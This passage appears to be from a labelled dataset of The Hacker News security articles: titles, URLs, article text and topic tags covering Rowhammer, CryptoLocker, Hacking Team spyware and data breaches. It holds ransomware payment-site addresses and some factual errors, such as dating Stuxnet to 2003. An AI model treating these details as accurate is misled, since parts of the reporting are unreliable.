Also last year, the German Aerospace Centre was targeted by a self-destructive malware in an espionage attack, believed to be conducted by China.
TIP
The best way to keep your systems away from such malware is to have a best antivirus for PCs, as well as avoid opening malicious or suspicious links served via phishing emails.
| Malware |
Apple's Find My Network Can be Abused to Exfiltrate Data From Nearby Devices | https://thehackernews.com/2021/05/apples-find-my-network-can-be-abused-to.html | Latest research has demonstrated a new exploit that enables arbitrary data to be uploaded from devices that are not connected to the Internet by simply sending "Find My" Bluetooth broadcasts to nearby Apple devices.
"It's possible to upload arbitrary data from non-internet-connected devices by sending Find My [Bluetooth Low Energy] broadcasts to nearby Apple devices that then upload the data for you," Positive Security researcher Fabian Bräunlein said in a technical write-up disclosed last week.
The study builds on a previous analysis by TU Darmstadt published in March 2021, which disclosed two distinct design and implementation flaws in Apple's crowdsourced Bluetooth location tracking system that could lead to a location correlation attack and unauthorized access to a user's location history of the past seven days.
The investigation was augmented by the release of a framework called OpenHaystack that's designed to let any user create an "AirTag," enabling individuals to track personal Bluetooth devices via Apple's massive Find My network.
But the reverse engineering of Apple's Find My offline finding system also left the door open to the possibility that the protocol could be emulated to upload arbitrary data to the Internet by broadcasting the information via Bluetooth beacons that would get picked up by Apple devices in close physical proximity, and then subsequently relay the encrypted data to Apple's servers, from where a macOS application can retrieve, decode, and display the uploaded data.
One of the core aspects of Find My is its rotating key scheme consisting of a pair of public-private keys that are deterministically changed every 15 minutes, with the public key sent within the Bluetooth Low Energy advertisement packet.
Thus when nearby Apple devices such as MacBooks, iPhones, and iPads receive the broadcast, they fetch their own location, then encrypt the location using the aforementioned public key before sending the encrypted location report to iCloud along with a hash of the public key. In the final step, the owner of the lost device can use a second Apple device signed in with the same Apple ID to access the approximate location.
The encryption protections mean that not only does Apple not know which public keys belong to a specific lost device or AirTag, it also doesn't have any knowledge of which location reports are intended for a specific user — hence the above Apple ID requirement. "The security solely lies in the encryption of the location reports: The location can only be decrypted with the correct private key, which is infeasible to brute force and only stored on the paired Owner Device," Bräunlein said.
The idea, therefore, is to exploit this gap by encoding a message into the broadcast payloads and then obtaining them on the other end using a data fetcher component based on OpenHaystack that decrypts and extracts the information transmitted from the sender device, say, a microcontroller.
"When sending, the data is encoded in the public keys that are broadcasted by the microcontroller. Nearby Apple devices will pick up those broadcasts and forward the data to an Apple backend as part of their location reporting. Those reports can later be retrieved by any Mac device to decode the sent data," Bräunlein explained.
While malicious real-world implications of such an exploit may seem moot, it's also difficult for Apple to defend against an attack of this kind due to the inherent end-to-end encrypted nature of the Find My network.
To counter any potential misuse, the researcher suggests hardening the system in two possible ways, including authenticating the BLE advertisement and applying rate limits on-location report retrievals by caching the hashes and ensuring that the only "16 new key ids are queried per 15 minutes and Apple ID." It's worth noting that there is a limit of 16 AirTags per Apple ID.
"In the world of high-security networks, where combining lasers and scanners seems to be a noteworthy technique to bridge the air gap, the visitor's Apple devices might also become feasible intermediaries to exfiltrate data from certain air gapped systems or Faraday caged rooms," Bräunlein said.
| Malware |
Chinese search engine Baidu launches free Antivirus Suite | https://thehackernews.com/2013/03/chinese-search-engine-baidu-launches.html | Chinese search engine Baidu has just launched a security product called Baidu Antivirus 2013. Described as a ultra light weight, easy to use, extremely fast anti-virus program that promises to protect your system from malware, viruses, spyware, adware and other malicious programs.
Most interesting thing is that Baidu Antivirus comes only in English. Back in January, Baidu launched Baidu PC Faster, a software suite designed to fix speed and performance issues.
The program combines the Baidu Antivirus Engine and Baidu Cloud Security Engine with the Avira Antivirus engine to provide you with complete protection against all online threats.
"Baidu Antivirus offers an easy to use interface with several advanced configuration options as well as quarantine of infected files. It also has an extremely small memory footprint, so you can actually do other things while it is running on your computer. Other features include automatic updates, Host Intrusion Prevention System (HIPS), scan reports and more." description reads.
You can download Baidu Antivirus 2013 here and please note that, its a Chinese product, so use at your own risk !
| Malware |
Hackers threaten to take down Xbox Live and PSN on Christmas Day | https://thehackernews.com/2016/12/christmas-ddos-attack.html | Bad news for gamers!
It's once again the time when most of you will get new PlayStations and XBoxes that continue to be among the most popular gifts for Christmas, but possibilities are you'll not be able to log into the online gaming console, just like what happens on every Christmas holidays.
On 2014 Christmas holidays, the notorious hacker group Lizard Squad knocked the PlayStation Network and Xbox Live offline for many gamers by launching massive DDoS attacks against the gaming networks.
This time a new hacking group, who managed to take down Tumblr this week for almost two hours, has warned gamers of launching another large-scale distributed denial-of-service (DDoS) attack against XBox Live and PlayStation networks.
Calling itself R.I.U. Star Patrol, the hacking group, posted a video on YouTube, announcing that they're planning to take down Sony's PSN and Microsoft's Xbox Live on Christmas Day by launching coordinated DDoS attacks.
"We do it because we can," the group said. "We have not been paid a single dollar for what we do."
On Wednesday, when R.I.U. Star Patrol took down Tumblr, the group contacted Mashable and explained its reason for attacking: "There is no sinister motive. It's all for light hearted fun."
Neither Sony nor Microsoft has yet responded to the hackers' warning.
However, both Sony and Microsoft previously promised to enhance the protection of their systems to block any attack disrupting their networks, but downtime and short outages happened almost every Christmas time.
Knowing the current abilities of hackers to launch DDoS attack that can reach 1 Tbps, it goes without saying that both the companies should be prepared to see DDoS attacks targeting its servers on this Christmas that can go beyond their expectations.
We saw coordinated DDoS attacks against DNS hosting provider Dyn last fall that broke large portions of the Internet, causing a significant outage to a ton of websites and services, including Twitter, GitHub, PayPal, Amazon, Reddit, Netflix, and Spotify.
The massive DDoS attack was launched just by a botnet of an estimated 100,000 so-called Internet of Things (IoT) – everyday devices and appliances that are connected to the web – that closed down the Internet for millions of users.
So, it remains to be seen if gamers would be able to enjoy this Christmas or not.
| Cyber_Attack |
Small satellite terminals (VSAT) are vulnerable to Cyber attack | https://thehackernews.com/2014/01/small-satellite-terminals-vsat-are.html | The Military Units that rely on very small aperture terminals (VSATs) for satellite communications in remote areas are vulnerable to cyber attack.
Researchers from cyber intelligence company IntelCrawler recently identified nearly 3 million VSATs, many of them in the United States, and found that about 10,000 of them could be easily accessed because of configuration weaknesses.
"We have scanned the whole IPv4 address space since 2010 and update the results in our Big Data intelligence database, including details about the satellite operator's network ranges, such as INMARSAT, Asia Broadcast Satellite, VSAT internet iDirect, Satellite HUB Pool, and can see some vulnerabilities,"
Researchers have warned that terminals having data transmission rate 4kbps to 16 Mbps used in narrow and broadband data transmission are vulnerable to cyber attack.
VSATs are most commonly used to transmit narrowband data such as credit card, polling or RFID data or broadband data for VoIP or video using the Satellites in geosynchronous orbit generally used for Television & Radio broadcast, direct broadcast, military communication. Its name originated from the relatively small dish antenna with a diameter no longer than 10 feet (3 meters).
IntelCrawler claimed that VSAT can be easily hacked because of poor password policy & default settings. Vulnerable terminals can be used for a planned cyber-attack, to be more precise on distributed network and infrastructure.
Dan Clements, IntelCrawler's President said:
"Many VSAT devices have Telnet access with very poor password strength, many times using default factory settings,"
"Intrusions to such open devices can allow you to monitor all the network traffic related to the exact device or host, sometimes with very sensitive information, which can lead to a compromise of the internal network,"
"The door might be six inches open, and of course you're not going in, but you can see there's a vulnerability there,"
"There's a lot of information that could be used in a nefarious way," Clements said. "Certainly you could put together a plan to go after certain grids or dams or power plants and have access to the centralized network at some point."
According to the report, there are more than 313 open UHP VSAT, 9045 open terminals (HUGHES) and 1,142 terminals (SatLink), that can be easily hacked by malicious attackers.
HUGHES is one of the largest manufacturers of VSATs which are mostly used in offline ATMs by several national central banks. Physical locations of a number of VSATs can be easily searched on Google maps and Google Earth, which could allow attackers to plan more sophisticated physical attacks.
"They are also widely spread in the industrial sector, such as energy, oil and gas, where the whole infrastructure is based on distributed environments located in different regions, cities or sometimes continents. According to statistics, there are 2,931,534 active VSAT terminals in the world now, with the majority installed in the US." according to the The Comsys VSAT report.
IntelCrawler also found network ranges of government and classified communications, e.g. Ministry of Civil Affairs of China infrastructure in ranges belongs to Shanghai VSAT Network Systems Co. LTD, and Ministry of Foreign Affairs of Turkey in Turksat VSAT Services, that poses critical threat to National Security.
| Cyber_Attack |
GLitch: New 'Rowhammer' Attack Can Remotely Hijack Android Phones | https://thehackernews.com/2018/05/rowhammer-android-hacking.html | For the very first time, security researchers have discovered an effective way to exploit a four-year-old hacking technique called Rowhammer to hijack an Android phone remotely.
Dubbed GLitch, the proof-of-concept technique is a new addition to the Rowhammer attack series which leverages embedded graphics processing units (GPUs) to carry out a Rowhammer attack against Android smartphones.
Rowhammer is a problem with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause "bit flipping" in an adjacent row, allowing anyone to change the value of contents stored in computer memory.
Known since at least 2012, the issue was first exploited by Google's Project Zero researchers in early 2015, when they pulled off remote Rowhammer attacks on computers running Windows and Linux.
Last year, a team of researchers in the VUSec Lab at Vrije Universiteit Amsterdam demonstrated that the Rowhammer technique could also work on Android smartphones, but with a major limitation of a malicious application being first installed on the target phone.
However, the same team of researchers has now shown how their proof-of-concept attack "GLitch," can exploit the Rowhammer attack technique simply by hosting a website running malicious JavaScript code to remotely hack an Android smartphone under just 2 minutes, without relying on any software bug.
Since the malicious code runs only within the privileges of the web browser, it can spy on user's browsing pattern or steal their credentials. However, the attacker cannot gain further access to user's Android phone.
Here's How GLitch Attack Works
GLitch is the first remote Rowhammer technique that exploits the graphics processing units (GPU), which is found in almost all mobile processors, instead of the CPU that was exploited in all previous theorized versions of the Rowhammer attack.
Since the ARM processors inside Android smartphones include a type of cache that makes it difficult to access targeted rows of memory, researchers make use of GPU, whose cache can be more easily controlled, allowing hackers to hammer targeted rows without any interference.
The technique is named GLitch with first two letters capitalized because it uses a widely used browser-based graphics code library known as WebGL for rendering graphics to trigger a known glitch in DDR3 and DDR4 memory chips.
Currently, GLitch targets smartphones running the Snapdragon 800 and 801 system on a chip—that includes both CPU and GPU—meaning the PoC works only on older Android phones like the LG Nexus 5, HTC One M8, or LG G2. The attack can be launched against Firefox and Chrome.
In a video demonstration, the researchers show their JavaScript-based GLitch attack on a Nexus 5 running over Mozilla's Firefox browser to gain read/write privileges, giving them the ability to execute malicious code over the software.
"If you're wondering if we can trigger bit flips on Chrome the answer is yes, we can. As a matter of fact, most of our research was carried out on Chrome," the researchers said. "We then switched to Firefox for the exploit just because we had prior knowledge of the platform and found more documentation."
No Software Patch Can Fully Fix the Rowhammer Issue
Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers say the Rowhammer threat is not only real but also has the potential to cause some real, severe damage.
Although there's no way to fully block an Android phone's GPU from tampering with the DRAM, the team has been working with Google on ways to solve the problem.
For more in-depth details on the new attack technique, you can head on to this informational page about GLitch and this paper [PDF] published by the researchers.
| Vulnerability |
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys | https://thehackernews.com/2013/11/CryptoLocker-Ransomware-Decryption-service-malware-keys.html | There's an extraordinary malware making rock-n-roll over the Internet and if you are one of the unlucky folks to cross its path, then it could make your computer unusable and you have to pay a few hundred Dollars to retrieve your important data back.
We have warned our readers in many previous articles about a nasty piece of Ransomware malware called 'CryptoLocker', which is targeting computers running the Microsoft Windows operating system.
The CryptoLocker Ransomware encrypts the files on a victim's computer and issues an ultimatum - Pay up or lose your data. Users who are getting infected with CryptoLocker can see a message informing them that their computer is locked up and their files encrypted. It then asks them to make a ransom payment, which typically ranges between $100 and $700 or 2 Bitcoins, to get their files back.
Just yesterday I noticed on a forum that the criminals behind the CryptoLocker malware has recently launched a dedicated CryptoLocker decryption service website that allows victims to purchase the decryption key for their infected encrypted files.
Interestingly, Malware inside the system is asking for only 2 Bitcoins ($450 USD) for the decryption keys, whereas the newly launched service price has been significantly increased 10 Bitcoins i.e. Approx $2,100 USD.
Service is available on the website https://yocmvpiarwmfgyg.net/ or https://93.189.44.187/ (Russia based hosting server) and also accessible through the Tor network https://f2d2v7soksbskekh.onion/
Why Hackers has launched the Decryption Service ?
Currently almost all antivirus companies are on Red alert about CryptoLocker malware and they have released updates for their users, that can detect and remove the infection or the registry keys from the system which is actually required to pay the ransom and decryption process. So if malware will get deleted, neither victim will get the decryption keys ever, neither criminal will get paid for it.
So the criminal actors behind the CryptoLocker malware has launched the decryption service website, which is designed to look like a customer support site for victims.
How the Decryption Service works ?
The victim can upload one of its encrypted files on the service website, which will generate an order number. After uploading, a further order status page will display the date-time of infection and victim's public key.
It will then prompt the user to purchase the private key by paying 10 Bitcoins or approximately $2,200 USD. Once a payment is made, just after the confirmation, the website will allow the user to download a decryption private key and a decrypter tool. Which can be used to decrypt all CryptoLocker encrypted files on the system.
Another interesting fact about the service website is that, if the user has already paid the ransom amount, they will provide the private key and decrypter free of cost.
CryptoLocker Ransomware, A Global threat
CryptoLocker infections were found across different regions, including Europe Middle East, North America and Asia Pacific. Almost 64% victims are from the US.
There are different ways an individual or an organization can handle the CryptoLocker threat. Unfortunately, there is no known tool to decrypt the files encrypted by CryptoLocker, so always take Backup of important Files. Always ensure your system softwares and Antivirus product is up-to-date.
Antivirus firm Bitdefender has just released a tool to protect your files from CryptoLocker. You can Download Anti-CryptoLocker here.
| Malware |
FBI compromised Tor hidden service to bust largest Child Pornography Ring | https://thehackernews.com/2013/09/FBI-compromised-Tor-hidden-hosting-Child-Pornography-firefox-exploit.html | A few days before the servers of the largest provider of Ultra Anonymous hosting were found to be serving custom malware designed to identify visitors who were using the Tor service to hide their identity online. The javascript code exploited a security vulnerability in the open-source version of Firefox that the Tor network is based on.
In an Irish court, FBI agent admitted publicly that the agency had control of Freedom Hosting, a Tor hidden service operator company, in an effort to arrest a suspect behind the largest child porn facilitator on the planet.
Eric Eoin Marques, a 28-year-old Irishman, is now awaiting extradition to the US where he could face 100 years in prison on child pornography charges.
Marques is the owner and operator of Freedom Hosting, one of the largest web hosts for the Tor network., Hosting many of the darkest hidden services on the Darknet, including criminal hacking site HackBB, money laundering services, and responsible for hosting child porn on 550 servers throughout Europe.
The FBI agent alleged when officers examined the RAM from Marques's seized computer it revealed he had made inquiries about how to get a visa and entry into Russia, and residency and citizenship there. Online searches had also been made for a US passport template and US passport hologram star.
Eric Eoin Marques apparently already sent the earnings of his profitable Freedom Hosting business to his girlfriend over in Romania.
Just two weeks ago, we have learned that the National Security Agency may have developed either decryption capabilities or secret backdoor that enabled it to break most Internet encryption.
But Taking control over all Freedom Hosting servers by FBI agents and inserting some tracking code really seems like an incredibly questionable move by any Law Enforcement agency.
| Vulnerability |
Security researchers will disclose vulnerabilities in Embedded, ARM, x86 & NFC | https://thehackernews.com/2012/07/security-researchers-will-disclose.html | Security researchers are expected to disclose new vulnerabilities in near field communication (NFC), mobile baseband firmware, HTML5 and Web application firewalls next week at the Black Hat USA 2012 security conference.
The Black Hat session aim to expose sometimes shocking vulnerabilities in widely used products. They also typically show countermeasures to plug the holes.
Two independent security consultants will give a class called "Advanced ARM exploitation," part of a broader five-day private class the duo developed. In a sold-out session, they will detail hardware hacks of multiple ARM platforms running Linux, some described on a separate blog posting.
The purpose of the talk is to reach a broader audience and share the more interesting bits of the research that went into developing the Practical ARM Exploitation and presenters Stephen Ridley and Stephen Lawler demonstrate how to defeat XN, ASLR, stack cookies, etc. using nuances of the ARM architecture on Linux.
In addition to mobile and Web security, Black Hat presentations will also cover security issues and attack techniques affecting industrial control systems, smart meters and embedded devices.
| Vulnerability |
Massive Data Breach Exposes 6.6 Million Plaintext Passwords from Ad Company | https://thehackernews.com/2016/09/plaintext-passwords-leaked.html | Another Day, Another Data Breach! And this time, it's worse than any recent data breaches.
Why?
Because the data breach has exposed plaintext passwords, usernames, email addresses, and a large trove of other personal information of more than 6.6 Million ClixSense users.
ClixSense, a website that claims to pay users for viewing advertisements and completing online surveys, is the latest victim to join the list of "Mega-Breaches" revealed in recent months, including LinkedIn, MySpace, VK.com, Tumblr, and Dropbox.
Hackers are Selling Plaintext Passwords and Complete Website Source Code
More than 2.2 Million people have already had their personal and sensitive data posted to PasteBin over the weekend. The hackers who dumped the data has put another 4.4 Million accounts up for sale.
In addition to un-hashed passwords and email addresses, the dump database includes first and last names, dates of birth, sex, home addresses, IP addresses, payment histories, and other banking details of Millions of users.
Troy Hunt, operator of Have I Been Pwned? breach notification service, verified the authenticity of the data taken from ClixSense.
Besides giving away 4.4 Million accounts to the highest bidder, the hackers are also offering social security numbers of compromised users, along with the complete source code of the ClixSense website and "70,000 emails" from the company's internal email server, according to a Pastebin message advertising the stolen database.
PasteBin has since removed the post as well as the sample of the compromised database that contained user account information.
Here's How Hackers Hacked ClixSence:
ClixSense admitted the data breach and said some unknown hackers were able to get access to its main database through an old server which the firm was no longer using, but at the time, still networked to its main database server.
After gaining access, the hacker was able "to copy most, if not all" of the ClixSense users table, ran SQL code to change account names to "hacked account," deleted several forum posts, as well as set account balances of users to $0.00.
While talking to Ars Technica, ClixSense owner Jim Grago admitted that the database contained entries for roughly 6.6 Million accounts and that the company became aware of the breach on September 4 and managed to regain control of their DNS over the weekend.
"This all started last Sunday, September 4th about 5 am EST when my lead developer called me and said ClixSense was redirecting to a gay porn site. The hackers were able to take over our DNS and setup the redirection," Grago wrote.
"On Monday (Labor day) they were able to hack into our hosting provider and turned off all of our servers, hacked into our Microsoft Exchange server and changed the passwords on all of our email accounts. On Tuesday they were able to gain access to a server that was directly connected to our database server and get a copy of our users table."
Change Your Passwords and Security Questions Now
Users are strongly advised to change their passwords for ClixSence account immediately, and it would also be a good idea to reset passwords for all of your other online services, especially those using the same passwords.
Since ClixSense uses a large trove of personal information on its users, make sure you change your security questions, if it uses any of the information you provided to ClixSense, such as your address, date of birth, or other identifying information.
Moreover, I recommend you to use a good password manager to create strong and complex passwords for your different online accounts, and it will remember all of them on your behalf.
I have listed some of the best password managers that could help you understand the importance of password manager and choose one according to your requirement.
| Data_Breaches |
China-made E-Cigarette Chargers Could Infect Your Computer with Virus | https://thehackernews.com/2014/11/china-made-e-cigarette-chargers-could_26.html | It's better for smokers to quit smoking. Are you using electronic cigarettes (E-cigarettes) instead normal ones?? Still, you should quit your smoking habit, because it not only damages your health, but could pose a danger risk to the health of your computer.
E-cigarettes have become the latest vector for hackers to distribute malicious software. E-cigarettes manufactured in China are reportedly being used to spread malware via a USB port to computers when users plug in for charging it up.
The report broke when an executive at a "large corporation" had been infected with malware from an undetermined source after he quit smoking and switched to e-cigarettes made in China, detailed a recent post to social news forum Reddit.
Further investigating the matter, he found that the chargers of the e-cigarettes - bought from the online auction site eBay for $5 - are hard-coded with the malware that infected his workstation despite having latest virus and anti malware programs installed.
"The executive's system was patched up to date, had antivirus and anti-malware protection," Reddit user Jrockilla said. "Web logs were scoured and all attempts made to identify the source of the infection but to no avail."
"Finally after all traditional means of infection were covered, IT started looking into other possibilities. They finally asked the executive: 'Have there been any changes in your life recently?' The executive answered: 'Well yes, I quit smoking two weeks ago and switched to e-cigarettes.' And that was the answer they were looking for."
Rik Ferguson, a security consultant for Trend Micro, also considers the matter plausible and says, "Production line malware has been around for a few years, infecting photo frames, MP3 players and more." In 2008, for instance, a photo frame produced by Samsung shipped with malware on the product's install disc, the Guardian reported.
"Hackers are able to exploit any electronic device to serve malware to a poorly protected network," Pierluigi Paganini, chief information security officer at ID management firm, said in a blog post. "Despite the [fact the] idea could appear hilarious, many electronic cigarettes can be charged over USB using a special cable or by inserting one end of the cigarette directly into a USB port."
The idea is similar to the BadUSB, whose source code was released by the researchers last month on the open source code hosting website Github. BadUSB was capable to spread itself by hiding in the firmware meant to control the ways in which USB devices connect to computers. Ferguson explained that "a very strong case can be made for enterprises disabling USB ports, or at least using device management to allow only authorised devices."
| Malware |
Hacking Team: We're Victim of a Criminal Cyber Attack | https://thehackernews.com/2015/07/hacking-team-press-statement.html | Hacking Team, the Italy-based spyware company that sells spying software to law enforcement agencies worldwide, says the company has always operated with the law and regulation in an ethical manner.
However, there was only one Violation of Law in this entire event, and that is – "the massive cyber attack on the Hacking Team." company stated.
The recent hack on Hacking Team exposed nearly 500GB of massive internal documents including internal emails, hacking tools, zero-day exploits, surveillance tools, source code for Spyware and a spreadsheet listing every government client with date of purchase and amount paid.
Hacking Team Hack and Media Reports:
The attack on Hacking Team was really huge in every sense. The team finally shows its disappointment with media on its hacking incident saying, the company that helps government fight crimes is being treated as the culprits, and the criminals who attacked the company are not.
"Had a media company been attacked as Hacking Team has been, the press would be outraged," Hacking Team wrote in its press release Wednesday.
But, every media including us have mentioned that Hacking Team got hacked, which by default indicates that they were the victim to cyber crime.
So far, neither they nor anyone in media knows who has hacked and leaked 500GB of internal data belonging to Hacking Team.
So, what do they expect from Media to talk about?
The Unknown Hacker, about whom no one knows,
or the 500 GB of leaked Hacking Team's Secrets
Hacking Team Spyware: Fighting for Crime or aiding Surveillance?
Apart from this, the Hacking Team claimed that the strong spyware and hacking tools developed by the company are actually required by the law enforcement agencies to fight crime and terrorism.
We all know that what NSA and other government agencies are doing (espionage/surveillance) with such capabilities, instead of putting every effort to fight crime and terrorism.
Recently, a 46-year-old member of South Korea's National Intelligence Service (NIS) apparently committed suicide after it was revealed that the Asian country bought spying tools from the Hacking Team.
A Suicide note left by the agent at the scene referenced the Hacking Team controversy, and claimed his intelligence team did not use Hacking Team tools to spy on South Korean citizens' mobile phone or any other online communications.
This incident could be part of the same conspiracy, which is yet to be investigated.
Some Facts Highlighted by Hacking Team
Highlighting the facts about its recent hack attack, the company says the attackers stole and exposed the personal information of its employees and some of its clients.
However, the attackers were unable to access the data collected by company's clients using purchased spying software, as such information is only stored on the customer's systems and can't be accessed by the company itself.
The attackers also exposed some of its source code on the Internet, but according to Hacking Team, the essential elements of its source code were not compromised in the attack.
The company agreed of selling its equipments to countries, including Ethiopia, Sudan, Russia and South Korea among others, but always sold "strictly under the law and regulation."
"There have been reports that our software contained some sort of "backdoor" that permitted Hacking Team insight into the operations of our clients or the ability to disable their software," The company says.
"This is not true."
"No such backdoors were ever present, and clients have been permitted to examine the source code to reassure themselves of this fact."
The company also denied its involvement in any program that make use of airborne drones to attack computers and smartphone devices through Wi-Fi networks as it has been reported earlier this week.
| Cyber_Attack |
Adobe to issue Emergency Patch for Critical Flash Player Vulnerability | https://thehackernews.com/2016/04/adobe-flash-update.html | Adobe has been one of the favorite picks of the Hackers to mess with any systems devoid of any operating systems, as Flash Player is a front runner in all the browsers.
Hackers have already been targeting Flash Player for long by exploiting known vulnerabilities roaming in the wild.
Despite Adobe's efforts, Flash is not safe anymore for Internet security, as one more critical vulnerability had been discovered in the Flash Player that could crash the affected system and potentially allow an attacker to take control of the system.
Discovered by a French Researcher Kafeine, FireEye's Genwei Jiang, and Google's Clement Lecigne, the flaw affects Adobe Flash Player 21.0.0.197 and its earlier versions for Windows, Macintosh, Linux and Chrome OS.
The vulnerability, assigned under CVE-2016-1019, also expands back to Windows 7 and even towards Windows XP.
Adobe had also confirmed that the newly discovered vulnerability in its Flash Player is being exploited actively in the wild.
Update Adobe Flash Player Software
This issue caused the Adobe engineers to urgently work on a mitigation method and release an emergency update under Flash Player 21.0.0.182, which is expected to get released this Thursday.
Usually, Adobe releases its patch on the second Tuesday of the month, the same day as Microsoft, but rolls out emergency patches on an ad hoc basis, analyzing the seriousness of the bug.
The endless Adobe updates and upgrades had failed to ensure the user security in the real time scenario. So it's high time for users to disable or completely uninstall Adobe Flash Player.
Believe or not, Adobe Flash Player is dead and its time has passed.
In January last year, YouTube moved away from Flash for delivering videos.
Although in between Flash made an effort to beef up its security in a bid to justify its existence, things got a bit heated when Firefox became aware of a critical bug and blocked the Flash plugin entirely.
Facebook's Security Chief publicly called for Adobe to announce a kill date for Flash. In fact, Google Chrome has also begun blocking auto-playing Flash ads by default.
| Malware |
Trojan.Milicenso Print Bomb - Printer Trojan cause massive printing | https://thehackernews.com/2012/06/trojanmilicenso-print-bomb-printer.html | Trojan.Milicenso - Printer Trojan cause massive printing
A Trojan that sends printers crazy, making them print pages of garbled nonsense until all the paper has been used up, has seen a spike in activity.Symantec detected the Trojan.Milicenso across various countries, but the worst hit regions were the US and India followed by regions in South America and Europe, including the UK.
According to a blog post published Thursday by researchers from antivirus provider Symantec, Dubbed "Trojan.Milicenso" it has been described by security researchers as a malware delivery vehicle "for hire" through its repeated use since it was first discovered in 2010.
The Milicenso Trojan is actually a backdoor that is used to deliver other malware on the affected machines. The infection vectors are links and malicious attachments in unsolicited emails, as well as websites hosting malicious scripts that trigger the download of the Trojan.
"Depending on the configuration, any files, including binary files, created in that folder will trigger print jobs," said Symantec. "The Trojan creates and executes a dropper executable, which in turn creates a DLL file in the %System% folder"
It's like dragging a system file into a plain-text editor: most of the time you'll see garbage. Symantec said there were a number of ways the malware can find its way onto PCs, including opening a malware-laden email attachment, through a compromised website, or posing as fake video codecs.Once the malware is opened, it redirects the user to pages to serve up adverts; a common way for malware writers to generate quick revenue.
| Malware |
Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones | https://thehackernews.com/2014/06/researchers-uncover-spying-tool-used-by.html | Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.
Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.
MALWARE FOR DESKTOPS AND ALL MOBILE DEVICES
The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.
The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.
MALWARE DEVELOPERS - 'HACKING TEAM'
Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling "offensive" intrusion and surveillance software to governments and law enforcement agencies in "several dozen countries" on "six continents."
"It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen," said Kaspersky Lab experts on the blog post. "In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story."
WORLD WIDE WEB OF COMMAND-N-CONTROL SERVERS
Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.
"The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies," said Sergey Golovanov, principal security researcher at Kaspersky Lab. "However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures."
ATTACK VECTOR AND MALWARE FEATURES
RCS can be physically implanted on the victim's device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.
Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:
control phone network
steal data from their device
record voice E-mail
intercept SMS and MMS messages
obtain call history
report on their location
use the device's microphone in real time
intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.
"Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations," Golovanov wrote.
While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.
The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.
| Vulnerability |
The Rise of Super-Stealthy Digitally Signed Malware—Thanks to the Dark Web | https://thehackernews.com/2017/11/malware-digital-certificate.html | Guess what's more expensive than counterfeit United States passports, stolen credit cards and even guns on the dark web?
It's digital code signing certificates.
A recent study conducted by the Cyber Security Research Institute (CSRI) this week revealed that stolen digital code-signing certificates are readily available for anyone to purchase on the dark web for up to $1,200.
As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software, and are trusted by your computer for execution of those programs without any warning messages.
However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have been abusing trusted digital certificates during recent years.
Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices.
The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used legitimate digital certificates. Also, the recent CCleaner-tainted downloads infection was made possible due to digitally-signed software update.
Stealthy Digitally-Signed Malware Is Increasingly Prevalent
However, separate research conducted by a team of security researchers have found that digitally signed malware has become much more common than previously thought.
The trio researchers—Doowon Kim, BumJun Kwon and Tudor Dumitras from the University of Maryland, College Park—said they found a total of 325 signed malware samples, of which 189 (58.2%) carried valid digital signatures while 136 carry malformed digital signatures.
"Such malformed signatures are useful for an adversary: we find that simply copying an Authenticode signature from a legitimate sample to an unsigned malware sample may help the malware bypass AV detection," the researchers said.
Those 189 malware samples signed correctly were generated using 111 compromised unique certificates issued by recognized CAs and used to sign legitimate software.
At the time of writing, 27 of these compromised certificates had been revoked, although malware signed by one of the remaining 84 certificates that were not revoked would still be trusted as long as carry a trusted timestamp.
"A large fraction (88.8%) of malware families rely on a single certificate, which suggests that the abusive certificates are mostly controlled by the malware authors rather than by third parties," the trio said.
The researchers have released a list of the abusive certificates at signedmalware.org.
Revoking Stolen Certificate Doesn't Stop Malware Immediately
Even when a signature is not valid, the researchers found that at least 34 anti-virus products failed to check the certificate's validity, eventually allowing malicious code to run on the targeted system.
The researchers also conducted an experiment to determine if malformed signatures can affect the anti-virus detections. To demonstrate this, they downloaded 5 random unsigned ransomware samples that almost all anti-virus programs detected as malicious.
